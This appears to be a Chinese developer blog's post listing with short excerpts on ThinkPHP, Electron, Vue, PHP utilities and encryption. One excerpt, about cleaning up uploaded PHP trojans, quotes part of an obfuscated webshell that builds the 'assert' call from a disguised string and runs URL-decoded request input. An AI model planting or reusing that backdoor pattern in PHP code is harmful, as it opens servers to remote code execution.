- 博客(130)
- 资源 (2)
- 问答 (3)
- 收藏
- 关注
原创 electron笔记无边框窗口、DLL调用、DLL函数返回指针
使用electron 调用dll会遇到的大部分问题,保存防止以后需求时,找不到资料。
2023-09-03 13:26:53
634
原创 thinkjs 解决跨域最优方案
如果在base.js 中设置跨域,如果请求在Logic这里效验不通过,前台就会报跨域错误。最佳方案是在中间件里面设置跨域。
2021-06-28 13:18:22
672
原创 ant-ui 记录下使用vNode的笔记
this.$confirm({ title: target.msg, closable: true, centered: true, content: (h) => { let Option = [] for (let i in self.addOption) { Option.push(h('a-select-option', { props:
2021-06-05 00:40:31
1272
原创 阿里巴巴矢量图标库如何全选添加到项目
阿里巴巴矢量图标库如何全选添加到项目?F12 在调试栏目 输入下面的代码回车var dom = document.querySelectorAll('.block-icon-list li')for (let i = 0;i<=dom.length;i++){console.log(dom[i])dom[i].querySelector('.icon-gouwuche1').click()}...
2021-04-12 18:48:06
313
转载 php获取MAC地址
<?phpnamespace Util;class Util { private static $return_array = array(); //返回带有MAC地址的字串数组 private static $mac_addr; //MAC 地址 public function __construct() { } /** * 获取当前机器的MAC地址 */ public static fu
2021-02-11 14:28:25
1499
原创 php调用ZIP进行压缩单层目录文件的时候,如何保持一级目录
public function addFileToZip($path, $zip) { $handler = opendir($path); //打开当前文件夹由$path指定。 while (($filename = readdir($handler)) !== false) { if ($filename != "." && $filename != ".." ) { //文件夹文件名字为'.'和‘..’,不要对他们进行操作
2021-02-07 16:44:54
457
原创 【原创开源】姆町个人发卡系统PHP源码
如果源码部署出现问题,可以联系我解决。支持二开,支持定制开发。源码遵循BSD开源协议,请勿以姆町|姆町网络的名义使用源码进行商业活动,请先修改源码中的LOGO及名称!演示站:http://fk.wensafe.com/文件分两部分;1.PHP源码2.前端源码个人发卡网源码,支持码支付对接,扫码自动发货.自适应网页,可为商品设置优惠套餐,后台管理功能丰富。前台发卡页面有点粗糙,已开源的可自己进行修改。使用thinkphp6.0开发,php需要7以上 mysql5.6以上,其他随意。使
2021-01-27 17:21:23
756
原创 axios 封装上传图片与thinkphp6.0后端接收图片
vue JSexport const fileUpload = (File) => { let formData = new FormData(); formData.append('image',File) return axios.request({ url: `admin/upload/logo`, data: formData, method: 'post', headers: {
2021-01-20 02:23:58
492
2
原创 pip 版本过低升级方法
python -m ensurepippython -m pip install --upgrade pip --user
2021-01-03 13:25:38
791
原创 php如何以不同系统环境中的回车符来分割字符串?
先把不同环境的回车符替换成\n,然后用\n来分割就OK了$str = str_replace(PHP_EOL, "\n",$str);$arr = array_unique(explode("\n",$str));
2020-11-29 15:08:58
954
原创 将yyyy-MM-dd格式转为Date格式
new Date('yyyy-MM-dd'.replace(/\-/g,"/"))replace(/-/g,"/")将 - 转为 / ,因为Date只有 / 这个才行!
2020-11-22 23:31:46
2714
原创 如何使用Element框架配合TP打造自己的后端(不熟悉vue脚手架的可以一起学习下)
首先打开thinkphp6.0看云文档,把本地环境搭建好,再安装TP,把伪静态设置好,1.先安装多应用插件composer require topthink/think-multi-app2.然后命令行创建两个应用!!!命令:php think build admin第一个应用 admin第二个应用 api目录结构如下:3.然后在浏览器中输入你绑定的域名 +/admin/index/index 看看是否可以访问?OJBK 是可以访问的。4.在配置数据库 略过5.创建一个数据表 名
2020-11-13 01:24:44
1076
原创 发现新大陆>think-addons可以在自己的应用中做模块化开发
think-addons项目地址: https://github.com/zz-studio/think-addonscomposer require zzstudio/think-addonsinstall.sql可以把该模块对应的数据表放进去,会自动判断你配置文件中设置的数据表前缀 来生成对应的表,相关业务逻辑 也可以在控制器中写...
2020-09-25 15:55:41
1836
原创 thinkphp跨域很齐全的处理方式
<?phpdeclare (strict_types=1);namespace app\middleware;class admin{ /** * 处理请求 * * @param \think\Request $request * @param \Closure $next * @return Response */ public function handle($request, \Closure $next)
2020-07-24 21:46:40
337
原创 iview table组件 render input绑定监听值变化
{ title: '代理价', key: 'keyprice', width: 150, render: (h, params) => { return h('div', [ h('Input', { props: { type: 'text', size: 'small', value: params.row.keyprice }, on: {
2020-07-20 20:56:14
1516
原创 pywebview cef打包 到达断点的弥补办法
cef 是chrome内核,支持vue,但是其它内核不支持,所有项目选用cef来做引擎,但是打包运行遇到了一个问题,报错为 已到达断点 [0812/112825.786:ERROR:icu_util.cc(133)] Invalid file descriptor to ICU data received.搜到了几篇文章说能解决,但是安装他的方式试了不行,打包之后依旧报断点错误,于是找到了一个折中方案。下面的内容转载自其它地方:vue 兼容ie8以上最近在使用vue开发前端,作为一个小白,从坑里
2020-06-30 14:40:35
1312
5
原创 thinkphp 多表查询
我将不同的表名存在了一个数据表,这些表名对应的数据表的列都是一致的,现在的要求是,把这些表里面的数据按照筛选条件筛出来。$list = Db::table("v_software_list")->where('delete', 1)->field('field_js')->select();$select = '';foreach ($list as $key => $val) { if ($key == 0) { $sqlField = $val['f
2020-06-15 11:05:15
628
原创 DES加密解密 与php后端加密解密互通
测试工具 apiPost 可以百度下载使用DES加密解密前端加密使用CryptoJS插件function encrypt(str, key, iv) { var encode_str = ''; var key = CryptoJS.MD5(key).toString(); var iv = CryptoJS.MD5(iv).toString(); var crypto_key = CryptoJS.enc.Utf8.parse(key); var crypt
2020-06-03 09:35:00
1028
原创 tp 如果被上传.php木马文件怎么处理
有很多网站被黑,导致网站关键词 网站标题 被修改,更可恶的是你如果发现的晚,关键词都被收录进去了,搞得很麻烦。这是被上传的php文件之一,<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['g
2020-06-01 23:03:02
1049
1
原创 thinkphp 写递归查询 查询无限下级代理
表结构如上 总代理 的 superiors字段是为null的,接口 token解密之后,取里面的user_id,然后拿到software软件ID,我们再开始进行递归先拿到 user_id等于接口中token携带的user_id的数据,通常这个数据只有一个。function select($menber, $software){ $obj = Db::table('v_auth_software')->where([ 'user_id' => (string)$me.
2020-05-21 10:25:46
1698
原创 推荐几个免费的图片素材网站
图佰万免版税图片 高清图片下载-免费图片网站网站地址: http://tubw123.com/注:该网站目测是国内的网站,测试过不需要登陆,直接可以下载图片免费正版高清图片素材库 超过1.7百万张优质图片和视频素材可供免费使用和下载 - Pixabay网站地址:https://pixabay.com/zh/注:该网站需要注册账号,才能下载高规格的原图PNG images with ...
2020-05-07 11:30:48
1458
原创 python生成RSA密匙对
from Crypto.PublicKey import RSAfrom Crypto import RandomRANDOM_GENERATOR = Random.new().read rsa = RSA.generate(1024, RANDOM_GENERATOR) # 秘钥对的生成 PRIVATE_PEM = rsa.exportKey() with ...
2020-03-21 14:26:28
663
原创 php防止xss攻击,过滤不正常的所有html标签和脚本
先安装扩展支持composer require lincanbin/white-html-filter然后自己创建一个过滤的类<?phpnamespace xss;use lincanbin\WhiteHTMLFilter;class xss{ public function parse($uedata) { $filter = new ...
2020-03-17 11:23:48
685
原创 tp6静态.htaccess设置
<IfModule mod_rewrite.c> Options +FollowSymlinks -Multiviews RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?/$1 [QSA,...
2020-03-11 08:15:06
2611
1
原创 弹出窗小箭头CSS
&:before{ content: ''; width: 0; height: 0; border: 6px solid; border-color: transparent transparent #ebeef5;; position: absolute; left: 5px; top: -12px; z-index: 99; ...
2020-01-28 15:14:28
318
原创 tp6针对thinkphp6.0 的文件上传验证失效自己写的上传插件
use think\image;需要think-image支持,安装:composer require topthink/think-image验证的rule格式,目前只写了图片类型的,其它的文件类型要自己增加。要允许的参数比较多的话 使用逗号连接$rule = [ 'rule' => [ 'mimeType' =&g...
2019-12-28 14:59:05
5241
3
原创 js 字符串切片按照指定的长度进行切割,并返回数组
let splitStr = (str) => { if (str.length < 100000) { var rs = []; rs[0] = str; return rs } else { let size = 100000 let count = Math.ceil(str.leng...
2019-12-26 11:12:50
3165
1
aliyun-python-sdk-afs-20180112.zip
2019-08-21
python ws4py tcp连接池不能超出1016个连接如何解决
2021-07-12
网站被挂马,上传了好多个php木马文件,是怎么上传的?
2020-05-28
TA创建的收藏夹 TA关注的收藏夹
TA关注的人